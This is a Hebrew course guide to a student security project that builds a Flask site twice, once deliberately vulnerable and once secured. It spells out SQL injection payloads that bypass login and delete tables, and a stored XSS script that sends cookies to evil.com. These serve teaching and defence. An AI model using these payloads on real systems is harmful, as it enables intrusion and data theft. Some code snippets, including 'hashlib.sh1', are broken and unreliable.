

מדריך מלא לפרויקט – Communication_LTD

למי שלא היה בקורס ומתחיל מאפס

תוכן עניינים

- 1. [המטלה – מה נדרש בפרויקט?](#)
- 2. [מה בנינו בכלל?](#)
- 3. [מושגי יסוד שחייבים להכיר](#)
- 4. [מבנה הפרויקט – מה כל קובץ עושה](#)
- 5. [הרצת הפרויקט – שלב אחר שלב](#)
- 6. [חלק א' – פיתוח מאובטח](#)
- 7. [חלק ב' – התקפות והגנות \(XSS + SQLi\)](#)
- 8. [שאלות נפוצות](#)

0. המטלה – מה נדרש בפרויקט?

זוהי עבודת גמר בקורס אבטחת מחשבים. המטרה היא לבנות מערכת ווב לחברת תקשורת דמיונית בשם **Communication_LTD**, ולהדגים בה גם פרצות אבטחה וגם הגנות מפניהן.

רקע

החברה משווקת חבילות גלישה באינטרנט. במאגר המידע שלה יש לקוחות, חבילות גלישה וסקטורים. יש לבנות מערכת ווב שמנהלת את המידע הזה.

דרישות בסיסיות

דרישה	מה בנינו
מסד נתונים רלציוני (SQL Express / MySQL)	SQLite – קובץ <code>communication_ltd.db</code>
אתר ווב בשפה לבחירה (Python / Java / C)	Python + Flask

חלק א' – פיתוח מאובטח (5 סעיפים)

זה החלק שבו בונים אתר תקין ומאובטח. **הקובץ:** `app_secure.py`

סעיף 1 – מסך Register (הרשמת משתמש חדש)

- רישום משתמש עם שם משתמש, סיסמא ומייל
- הסיסמא חייבת לעמוד בדרישות מורכבות (מוגדרות בקובץ קונפיגורציה)
- **הסיסמא נשמרת מוצפנת** – באמצעות HMAC + Salt (לא בטקסט פשוט!)

סעיף 2 – מסך שינוי סיסמא

- המשתמש מזין את הסיסמא הנוכחית לאימות
- הסיסמא החדשה חייבת לעמוד בדרישות הקונפיגורציה
- לא ניתן לחזור לאחת מ-3 הסיסמאות האחרונות (היסטוריה)

סעיף 3 – מסך Login (כניסה למערכת)

- כניסה עם שם משתמש וסיסמא
- הודעת שגיאה **גנרית** (לא מגלים אם המשתמש קיים)
- נעילת חשבון אחרי 3 ניסיונות כושלים

סעיף 4 – מסך מערכת (הוספת לקוח)

- הוספת לקוח חדש עם פרטים: שם, מייל, טלפון, חבילה
- הצגת שם הלקוח שנוסף על המסך

סעיף 5 – מסך "שכח סיסמא"

- המשתמש מבקש איפוס
- המערכת מייצרת קוד אקראי **SHA-1 מבוסס** ושולחת אותו למייל
- המשתמש מזין את הקוד כדי להגיע למסך שינוי הסיסמא

קובץ קונפיגורציה (config.json) – ערכים שמנהל המערכת יכול לשנות

הגדרה	ערך ברירת המחדל	משמעות
אורך מינימלי	10 תווים	הסיסמא חייבת להיות לפחות 10 תווים
אותיות גדולות	חובה	חייב להיות לפחות A-Z אחת
אותיות קטנות	חובה	חייב להיות לפחות a-z אחת
ספרות	חובה	חייב להיות לפחות ספרה אחת (0-9)
תווים מיוחדים	חובה	חייב להיות לפחות תו מיוחד (\$#@! וכו')
היסטוריה	3	לא ניתן לחזור ל-3 סיסמאות אחרונות
מילון	רשימה מוגדרת	סיסמאות נפוצות שאסור להשתמש בהן
ניסיונות Login	3	נעילה אחרי 3 כישלונות

חלק ב' – הדגמת התקפות והגנות (XSS + SQLi)

זה החלק שבו מדגימים פרצות אבטחה קלאסיות. הקובץ: app_vulnerable.py

חשוב: יש להגיש שתי גרסאות – גרסה פגיעה וגרסה מאובטחת.

מה מדגימים?

סעיף	סוג התקפה	איפה	הגנה בגרסה המאובטחת
ב'1	Stored XSS – הזרקת JavaScript	סעיף 4 (System)	Jinja2 autoescaping + <code>html.escape()</code>
ב'2	SQL Injection – הזרקת SQL	סעיפים 1+3+4 (Register,) (Login, System)	(Parameterized Queries (?
ב'3	פתרון ל-XSS	-	קידוד תווים מיוחדים (<code>< → &lt;</code>)
ב'4	פתרון ל-SQLi	-	שימוש ב-Stored Parameters Procedures

SQL Injection – בקצרה

תוקף מזין לשדה הטקסט קוד SQL במקום שם משתמש רגיל. בגרסה הפגיעה השאילתה מורכבת בשרשור, ולכן הקוד הזדוני מתפרש כפקודה. בגרסה המאובטחת, נתוני המשתמש לעולם לא מתפרשים כ-SQL.

Stored XSS – בקצרה

תוקף מזין קוד JavaScript כשם לקוח. בגרסה הפגיעה הקוד נשמר במסד ומורץ אצל כל מי שפותח את הדף. בגרסה המאובטחת, תווי HTML מקודדים ומוצגים כטקסט בלבד.

1. מה בנינו בכלל?

בנינו אתר ווב עבור חברת תקשורת דמיונית בשם **Communication_LTD**. החברה משווקת חבילות גלישה באינטרנט, ובמאגר המידע שלה יש לקוחות, חבילות וסקטורים.

האתר מאפשר: - **הרשמה (Register)** - יצירת חשבון משתמש - **התחברות (Login)** - כניסה עם שם משתמש וסיסמא - **שינוי סיסמא** - החלפת הסיסמא הנוכחית - **שכחתי סיסמא** - קבלת קוד לאיפוס במייל - **ניהול לקוחות (System)** - הוספת לקוחות חדשים לחברה

מטרת הפרויקט מנקודת מבט סייבר: לבנות פעמיים את אותו האתר - פעם אחת **פגיע** (כדי להדגים התקפות) ופעם אחת **מאובטח** (כדי להדגים הגנות).

מבנה הסעיפים – חשוב להבין!

הפרויקט מחולק לשני חלקים. כדי שיהיה ברור, הנה מה כל "סעיף" מחלק א' מתאים לו:

סעיף בחלק א'	שם המסך	קובץ HTML
סעיף 1	Register – הרשמה	register.html
סעיף 2	שינוי סיסמא	change_password.html
סעיף 3	Login – התחברות	login.html
סעיף 4	System – הוספת לקוח	system.html
סעיף 5	שכח סיסמא	forgot_password.html

כשחלק ב' מדבר על "פרצות בסעיף 1 + 3 + 4" – הכוונה לפרצות ב-Login, Register ו-System.

2. מושגי יסוד שחייבים להכיר

2.1 מה זה אתר ווב?

דמיינו שאתה פותח את האפליקציה של הבנק. מה שאתה רואה (כפתורים, טפסים, טקסט) – זה **Frontend**. מה שקורה מאחורי הקלעים (בדיקת הסיסמא, שליפת היתרה) – זה **Backend**.

בקשה (Request) הדפדפן שלך → השרת (Backend)
← תשובה (Response) Flask + Python

בפרויקט הזה השתמשנו ב-**Python + Flask** לבנות את ה-Backend.

2.2 מה זה Flask?

Flask הוא כלי Python שמאפשר לנו לבנות אתר ווב בקלות.
כלי Flask הייתם צריכים לכתוב עשרות אלפי שורות קוד. עם Flask – כמה עשרות.
דוגמא פשוטה:

```
from flask import Flask
app = Flask(__name__)

@app.route("/hello")          # כשמישהו נכנס לכתובת /hello
def hello():
    return "שלום עולם! # הוא מקבל את המחרוזת הזו"
```

2.3 מה זה מסד נתונים (Database)?

מסד נתונים הוא מקום לשמור מידע בצורה מסודרת – כמו Excel, רק הרבה יותר חזק.
בפרויקט השתמשנו ב-**SQLite** – מסד נתונים שגר בקובץ אחד (`communication_ltd.db`).
יש לנו 3 **טבלאות** (כמו גיליונות ב-Excel):

טבלת users (משתמשים): |----|-----|-----|
id | username | password_hash | salt | email |
-----|-----|-----| | 1 | arad | 3f4a9b... | c8d2... | arad@mail.com | | 2 | david | 9e2f1c... | 4b7a... | david@mail.com

טבלת customers (לקוחות): |----|-----|-----|-----|-----|
id | name | email | phone | package |
|----|-----|-----|-----|-----| 1 | ישראל ישראלי | israel@mail.com | 050-1234567 | premium

טבלת reset_tokens (קודי איפוס סיסמא): |----|-----|-----|
id | username | token | used |
|----|-----|-----| 1 | arad | 8f3c2a1b... | 0

2.4 מה זה SQL?

SQL היא שפת שאילתות – שפה שמשמשת לדבר עם מסד הנתונים.

דוגמאות:

```
-- שליפת כל המשתמשים
SELECT * FROM users;

-- חיפוש משתמש ספציפי
SELECT * FROM users WHERE username = 'arad';

-- הוספת משתמש חדש
INSERT INTO users (username, email) VALUES ('david', 'david@mail.com');

-- עדכון
UPDATE users SET locked = 1 WHERE username = 'arad';
```

2.5 מה זה Hash? (ולמה לא שומרים סיסמאות רגילות?)

הבעיה: אם מסד הנתונים נפרץ ושם כתוב **סיסמא: 1234** – כולם נחשפו.

הפתרון: שומרים לא את הסיסמא, אלא את ה-**Hash** שלה.

Hash הוא פונקציה חד-כיוונית: - → Hash → "1234"

- אי אפשר לחזור - "03ac674216f3e15c761ee1a5e255f067953623c8b388b4459e13f978d7c846f4"

מה-Hash לסיסמא המקורית - אותה קלט תמיד נותן אותו Hash

הבעיה עם Hash פשוט: אם לשניים יש את אותה סיסמא, ה-Hash שלהם זהה. תוקף שרואה את הטבלה יכול לנחש.

הפתרון: Salt

Salt הוא מחרוזת אקראית שמוסיפים לסיסמא לפני ה-Hash:

```
"סיסמא: 1234"
Salt: "x9k2m..." (אקראי לכל משתמש)
Hash: HMAC("1234" + "x9k2m...") → תוצאה שונה לכל משתמש!
```

בפרויקט השתמשנו ב-**HMAC-SHA256** – גרסה מחוזקת של Hash שמשמשת ב-Salt כמפתח.

מה שנשמר במסד: - ה-Hash (לא הסיסמא!) - ה-Salt (כדי שנוכל לאמת בהתחברות)

אימות בהתחברות:

```

1234" :משתמש הזין:
Salt מהמסד: "x9k2m..."
חשוב: HMAC("1234" + "x9k2m...")
האם התוצאה == Hash השוואה:

```

2.6 מה זה Jinja2 ו-Templates?

Jinja2 הוא מנוע תבניות – מאפשר לנו לכתוב HTML עם לוגיקה דינמית.

```

<!-- templates/login.html -->
<h1>שלום {{ username }}!</h1> ← Python-משתנה שמגיע מ-

{% if logged_in %} ← תנאי
  <a href="/logout">התנתק</a>
{% endif %}

```

Flask לוקח את התבנית, ממלא את הערכים מ-Python, ושולח HTML מלא לדפדפן.

3. מבנה הפרויקט

```

CommunicationLTD/
|
├── config.json          ← הגדרות מדיניות הסיסמאות
├── init_db.py           ← יוצר את מסד הנתונים
├── utils.py             ← (hash, validate) פונקציות עזר
|
├── app_secure.py        ← הגרסה המאובטחת (חלק א') → port 5000
├── app_vulnerable.py    ← הגרסה הפגיעה (חלק ב') → port 5001
|
├── templates/
|   ├── base.html        ← תבנית בסיס (navbar, alerts)
|   ├── register.html    ← סעיף 1: דף הרשמה
|   ├── login.html       ← סעיף 3: דף התחברות
|   ├── change_password.html ← סעיף 2: שינוי סיסמא
|   ├── forgot_password.html ← סעיף 5: שכח סיסמא
|   ├── reset_password.html ← המשך סעיף 5
|   └── system.html      ← סעיף 4: ניהול לקוחות
└── static/
    └── style.css        ← עיצוב

```

קובץ config.json – מדיניות הסיסמאות

```
{
  "password_policy": {
    "min_length": 10,           ← אורך מינימלי: 10 תווים
    "require_uppercase": true, ← חייב אות גדולה (A-Z)
    "require_lowercase": true, ← חייב אות קטנה (a-z)
    "require_digits": true,    ← חייב ספרה (0-9)
    "require_special": true,   ← חייב תו מיוחד (!@# וכו')
    "history_count": 3,        ← לא ניתן לחזור ל-3 סיסמאות אחרונות
    "dictionary": ["password"...], ← רשימת סיסמאות אסורות
  },
  "security": {
    "max_login_attempts": 3    ← נעילה אחרי 3 כישלונות
  }
}
```

מנהל המערכת יכול לשנות כל ערך בקובץ זה בלי לגעת בקוד.

4. הרצת הפרויקט

שלב 1 – התקנת Python

הורד Python מ-python.org (גרסה 3.10 ומעלה). בזמן ההתקנה סמן: **Add Python to PATH** ☒

שלב 2 – פתח Terminal בתיקיית הפרויקט

לחץ ימני על תיקיית CommunicationLTD → "Open in Terminal"

שלב 3 – התקן תלויות

```
pip install flask
```

שלב 4 – צור את מסד הנתונים

```
python init_db.py
```

תראה: OK - DB created: communication_ltd.db

שלב 5 – הרץ את האפליקציה

גרסה מאובטחת (חלק א'):

```
python app_secure.py
```

פתח דפדפן וגש ל: `http://127.0.0.1:5000`

גרסה פגיעה (חלק ב' – הדגמה):

```
python app_vulnerable.py
```

פתח דפדפן וגש ל: `http://127.0.0.1:5001`

שתי הגרסאות לא ניתן להריץ בו-זמנית מאותו Terminal. פתח שני Terminals נפרדים.

שלב 6 – הגדרת המייל (אופציונלי)

כדי שפונקציית "שכחתי סיסמא" תשלח מייל אמיתי, ערוך את `config.json`:

```
"email": {
  "sender_email": "your-gmail@gmail.com",
  "sender_password": "your-app-password" ← לא הסיסמא הרגילה! ראה הסבר בהמשך
}
```

יצירת App Password ב-1: Gmail. כנס לחשבון Gmail שלך 2. חשבון → אבטחה → אימות דו-שלבי (הפעל אם כבוי) 3. חפש "App Passwords" → צור סיסמא עבור "4 Mail". הדבק את הסיסמא שנוצרה ב-`config.json`

אם לא תגדיר מייל, הקוד יוצג ישירות על המסך (מצב פיתוח).

5. חלק א' – פיתוח מאובטח

חלק א' = קוד מאובטח = `app_secure.py`

5.1 סעיף 1 – מסך Register (הרשמה)

מה קורה כשמשמש נרשם:

1. משתמש ממלא: username="arad", password="Test@12345", email="arad@mail.com"
2. בדיקת מדיניות סיסמא (config.json)
3. יצירת Salt אקראי: "c8d2f4a1..."
4. HMAC-SHA256: hash("Test@12345" + Salt) = "3f4a9b..."
5. הסיסמא עצמה לא נשמרת ← username, hash, salt, email שמירה במסד

הקוד:

```
# app_secure.py - register route
pw_hash, salt = hash_password(password)      # HMAC + Salt
conn.execute(
    "INSERT INTO users (username, password_hash, salt, email) VALUES (?, ?, ?,
    ?)",
    (username, pw_hash, salt, email)          # ? = Parameterized Query (SQL-הגנה)
i)
)
```

5.2 סעיף 2 – מסך שינוי סיסמא

- הבדיקות שמתבצעות:** 1. האם הסיסמא הנוכחית נכונה? 2. האם הסיסמא החדשה עומדת במדיניות (config.json)? 3. האם הסיסמא החדשה לא הייתה בשימוש ב-3 האחרונות?

היסטוריית סיסמאות:

```
# שמירת הסיסמא הישנה בהיסטוריה לפני החלפה
history.append([user["password_hash"], user["salt"]])
history = history[-3:]      # שמור רק 3 אחרונות

# בדיקה שהסיסמא החדשה לא בהיסטוריה
for old_hash, old_salt in history:
    if verify_password(new_password, old_hash, old_salt):
        # אותה סיסמא! חסום.
```

5.3 סעיף 3 – מסך Login (התחברות)

תהליך ההתחברות:

1. משתמש הזין: username="arad", password="Test@12345"
2. חיפוש במסד: SELECT * FROM users WHERE username = ?
3. אם לא נמצא: הודעה גנרית "שם משתמש או סיסמא שגויים"
!לא אומרים "שם משתמש לא קיים" – לא מגלים מידע ↑
4. אם נמצא ונעול: "החשבון נעול"
5. Hash-מהמסד, השוואה ל Salt-עם ה HMAC אם נמצא: חישוב
6. כישלון: מונה++ , אחרי 3 → נועל חשבון
7. מאובטח cookie (כמו Session-ב "username" הצלחה: שמירת

מה זה Session?

Session הוא מנגנון שמאפשר "לזכור" שמשמש מחובר בין דפים שונים. כשמתחבר, Flask שומר `session["username"] = "arad"`. בכל בקשה הבאה – בודק שהמשתנה קיים.

5.4 סעיף 4 – מסך מערכת (הוספת לקוח)

```
# app_secure.py - system route
name = request.form.get("name", "").strip()

# SECURE: Parameterized Query
conn.execute(
    "INSERT INTO customers (name, email, phone, package) VALUES (?, ?, ?, ?)",
    (name, email, phone, package)
)
```

בתבנית Jinja2, HTML מקודד אוטומטית:

```
{{ customer.name }} ← אם name = "<script>alert(1)</script>"
                        יוצג: &lt;script&gt;alert(1)&lt;/script&gt;
                        הדפדפן יציג את הטקסט – לא יריץ את הסקריפט
```

5.5 סעיף 5 – מסך שכח סיסמא

התהליך:

1. username משתמש מזין
2. אקראיים bytes (32 bytes = 256 bit) המערכת יוצרת
3. קוד של 40 תווים הקסדצימליים → bytes-על ה-SHA-1 מחשבת
4. reset_tokens (טבלת) שומרת את הקוד במסד
5. שולחת את הקוד למייל המשתמש
6. משתמש מזין את הקוד + סיסמא חדשה
7. used=1 מערכת מוצאת את הקוד במסד, מעדכנת סיסמא, מסמנת

למה SHA-1 ולא HMAC?

הפרויקט דורש במפורש SHA-1 לטוקן האיפוס. שימו לב שב-2024 SHA-1 **לא מומלץ לסיסמאות**, אבל לטוקן חד-פעמי של איפוס – מקובל.

```
# utils.py
def generate_reset_token() -> str:
    random_bytes = secrets.token_bytes(32)
    return hashlib.sh1(random_bytes).hexdigest() # 40 תווים הקס
```

6. חלק ב' – התקפות והגנות

חלק ב' = קוד פגיע להדגמה = `app_vulnerable.py`

חשוב: יש להגיש שתי גרסאות – גרסה פגיעה (`app_vulnerable.py`) וגרסה מאובטחת (`app_secure.py`).

מה מוצג בחלק ב':

מה	איפה	קובץ
Stored XSS	סעיף 4 (System – הוספת לקוח)	<code>app_vulnerable.py</code>
SQL Injection	סעיף 1 (Register) + סעיף 3 (Login) + סעיף 4 (System)	<code>app_vulnerable.py</code>
פתרון XSS	קידוד תווים מיוחדים (Jinja2 + escape)	<code>app_secure.py</code>
פתרון SQLi	(Parameterized Queries (?	<code>app_secure.py</code>

6.1 SQL Injection (SQLi) – הסבר מפורט

מה זה?

SQL Injection היא תקיפה שמנצלת אפליקציה שבונה שאלות SQL בשרשור מחרוזות. זו אחת ההתקפות הנפוצות והמסוכנות ביותר (1 Top ב-OWASP מזה שנים רבות).

הדגמה – Login פגיע (סעיף 3)

הקוד הפגיע:

```
# app_vulnerable.py - login route
query = f"SELECT * FROM users WHERE username = '{username}'"
```

קלט רגיל:

```
username = "arad"
שאלתה שנוצרת: SELECT * FROM users WHERE username = 'arad'
arad תוצאה: שורה של ✓
```

קלט זדוני (SQLi):

```
username = "' OR '1'='1' --"
שאיִלְתֶּה שְׁנוּצֶרֶת: SELECT * FROM users WHERE username = "' OR '1'='1' --"
                                     ↑
                                     -- מבטל את כל מה שאחריו
                                     '1'='1' תמיד נכון!

תוצאה: מחזיר את כל המשתמשים → כניסה ללא סיסמא
```

הדגמה – Register פגיע (סעיף 1)

הקוד הפגיע:

```
# app_vulnerable.py - register route
query = f"INSERT INTO users (username, password_hash, salt, email) VALUES ('{username}', '{pw_hash}', '{salt}', '{email}')"

```

קלט זדוני (SQLi):

```
username = "legit", 'fakehash', 'fakesalt', 'hacker@evil.com'); --"
שאיִלְתֶּה שְׁנוּצֶרֶת:
INSERT INTO users (...) VALUES ('legit', 'fakehash', 'fakesalt', 'hacker@evil.com'); --', ...)

↑
-- מבטל א

תוצאה: תוקף יכול ליצור משתמש עם כל מה שירצה
```

הדגמה – System פגיע (סעיף 4)

הקוד הפגיע:

```
# app_vulnerable.py - system route
query = f"INSERT INTO customers (name, email, phone, package) VALUES ('{name}', '{email}', '{phone}', '{package}')"

```

קלט זדוני שמוחק טבלה שלמה:

```
name = "test", 'x','x','x'); DROP TABLE customers; --"
שאיִלְתֶּה שְׁנוּצֶרֶת:
INSERT INTO customers (...) VALUES ('test', 'x','x','x'); DROP TABLE customers; --', ...)

תוצאה!!! מחיקת כל טבלת הלקוחות
```

ההגנה – Parameterized Queries (לכל שלושת הסעיפים)

הקוד המאובטח:

```
# app_secure.py - ה- routes בכל
conn.execute(
    "SELECT * FROM users WHERE username = ?", ← ? הוא placeholder
    (username,) ← הערך מועבר בנפרד
)
```

למה זה עובד?

כשמשתמשים ב-**?**, מסד הנתונים מקבל את השאילתה והנתונים בנפרד. הנתונים לעולם לא מתפרשים כ-SQL – הם תמיד יטופלו כמחרוזת.

```
קלט זדוני: "' OR '1'='1' --"
שאילתה: SELECT * FROM users WHERE username = ?
מחרוזת רגילה, ה-' לא שובר כלום ← "' OR '1'='1' --"
נתון: "' OR '1'='1' --" ✓
שם תוצאה: לא נמצא משתמש עם שם
```

שיטה נוספת – Stored Procedures

במסד נתונים גדולים (SQL Server, MySQL) ניתן גם להגדיר Stored Procedure:

```
CREATE PROCEDURE GetUser @username NVARCHAR(50)
AS
    SELECT * FROM users WHERE username = @username
```

הפרמטרים מוגדרים מראש ← גם הם מונעים SQLi.

6.2 Stored XSS – הסבר מפורט

מה זה XSS?

XSS (Cross-Site Scripting) היא תקיפה שמאפשרת לתוקף להחדיר **קוד JavaScript** לתוך דף האינטרנט.

הדפדפן של הקורבן מריץ את הקוד הזדוני כאילו הוא חלק לגיטימי מהאתר.

Stored XSS (XSS מאוחסן) = הקוד הזדוני נשמר במסד הנתונים ומוצג לכל מי שפותח את הדף.

הדגמה – הוספת לקוח פגיעה (סעיף 4)

הקוד הפגיע:

בצד השרת (`app_vulnerable.py`):

```
name = request.form.get("name", "") # ללא ניקוי
```

בתבנית (HTML (`system.html`):

```
{{ customer.name | safe }}
```

← | safe | Jinja2-אומר ל

קלט זדוני (XSS):

```
name = "<script>alert('נפרצת!')</script>"
מה שנשמר במסד: "<script>alert('נפרצת!')</script>"
!ומריץ את הסקריפט HTML-מה שמוצג: הדפדפן קורא את ה
!popup תוצאה: כל מי שפותח את דף הלקוחות - יקבל
```

התקפה אמיתית יותר:

```
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
```

הפקודה הזו שולחת את ה-Cookie של כל קורבן לאתר הרשע!

ההגנה – HTML Escaping (קידוד תווים מיוחדים)

שיטה 1: Jinja2 Autoescaping (ברירת המחדל)

בתבנית המאובטחת (`system.html`):

```
{{ customer.name }}
```

← ללא | safe → Jinja2 אוטומטית

Jinja2 ממיר תווים מסוכנים: | תו מקורי | לאחר קידוד | |-----|-----| |<|<| |>| |

|>| |"|" |"| |'| |'| |&|"| |&|

התוצאה:

```
קלט זדוני: "<script>alert('XSS')</script>"
אחרי קידוד: "&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;"
!כטקסט, לא קוד ← <script>alert('XSS')</script> מה שמוצג: הטקסט
```

שיטה 2: Python escape () (שכבת הגנה נוספת)

ב- `app_secure.py` :

```
from html import escape
new_customer_name = escape(name) # לפני שהתבנית מקבלת Python מקודד ברמת
```

6.3 סיכום ההבדלים בין הגרסאות

תכונה	גרסה פגיעה (app_vulnerable.py)	גרסה מאובטחת (app_secure.py)
שאליות SQL	שרשור מחרוזות	Parameterized Queries (?)
הצגת נתונים	safe \ (ללא קידוד)	Jinja2 autoescaping
SQLi ב-Register (סעיף 1)	אפשרי ✓	חסום ✗
SQLi ב-Login (סעיף 3)	אפשרי ✓	חסום ✗
SQLi ב-System (סעיף 4)	אפשרי ✓	חסום ✗
System ב-Stored XSS (סעיף 4)	אפשרי ✓	חסום ✗
HMAC + Salt	בשתי הגרסאות ✓	בשתי הגרסאות ✓
מדיניות סיסמאות	בשתי הגרסאות ✓	בשתי הגרסאות ✓
נעילת חשבון	בשתי הגרסאות ✓	בשתי הגרסאות ✓

6.4 כיצד להדגים את ההתקפות בפועל

הדגמת SQLi ב-Login (גרסה פגיעה, port 5001):

1. הרץ `python app_vulnerable.py`

2. כנס ל- `http://127.0.0.1:5001/login`

3. בשדה "שם משתמש" הזן: `-- ' OR '1'='1'`

4. בשדה "סיסמא" הזן כל דבר

5. לחץ "התחבר"

6. תיכנס למערכת ללא סיסמא נכונה!

הדגמת SQLi ב-System (גרסה פגיעה, port 5001):

1. היכנס למערכת (עם משתמש רגיל)

2. כנס לדף המערכת (/system)

3. בשדה "שם לקוח" הזן: `test', 'x', 'x', 'x'); DELETE FROM customers; --`

4. לחץ "הוסף לקוח"

5. כל הלקוחות נמחקו ממסד הנתונים!

הדגמת Stored XSS (גרסה פגיעה, port 5001):

1. היכנס למערכת

2. כנס לדף המערכת (/system)

3. בשדה "שם לקוח" הזן: `<script>alert('XSS')</script>`

4. לחץ "הוסף לקוח"

5. תקבל popup! כל מי שפותח את הדף יקבל אותו

הדגמת ההגנה (גרסה מאובטחת, port 5000):

חזור על אותם הניסיונות – לא יעבדו. הקלט יוצג כטקסט רגיל.

7. שאלות נפוצות

ש: מה ההבדל בין SHA-1 ל-HMAC-SHA256?

ת: שניהם פונקציות Hash, אבל: - SHA-1 – פשוט יותר, קצר יותר (40 תווים הקס), פחות בטוח לסיסמאות - HMAC-SHA256 – משתמש ב-Salt כמפתח, ארוך יותר (64 תווים), הרבה יותר בטוח בפרויקט: HMAC-SHA256 לסיסמאות, SHA-1 לטוקן האיפוס (כפי שנדרש בפרויקט).

ש: למה שומרים את ה-Salt במסד? לא מסוכן?

ת: לא. ה-Salt לא סודי – הוא אקראי. הסוד הוא הסיסמא עצמה. בלי ה-Salt לא ניתן לאמת את הסיסמא בהתחברות.

ש: למה פורט 5000 ו-5001?

ת: כדי שאפשר יהיה להריץ שתי גרסאות בו-זמנית על אותו מחשב. שתי אפליקציות לא יכולות להאזין על אותו פורט.

ש: מה עושים אם המייל לא עובד?

ת: בסביבת פיתוח (ללא הגדרת מייל), המערכת תציג את קוד האיפוס ישירות על המסך. הקוד יופיע בהודעה כחולה בעמוד "שכח סיסמא".

ש: האם app_vulnerable.py מיישם גם היסטוריית סיסמאות ונעילת חשבון?

ת: כן. הפרצות בגרסה הפגיעה הן רק SQLi ו-XSS (כפי שנדרש בחלק ב'). שאר הפונקציות (HMAC, מדיניות סיסמאות, נעילה) פועלות בשתי הגרסאות.

הפרויקט נכתב כחלק מקורס סייבר. כל הקוד הפגיע נועד לצרכי לימוד בלבד ואסור לשימוש בסביבת ייצור.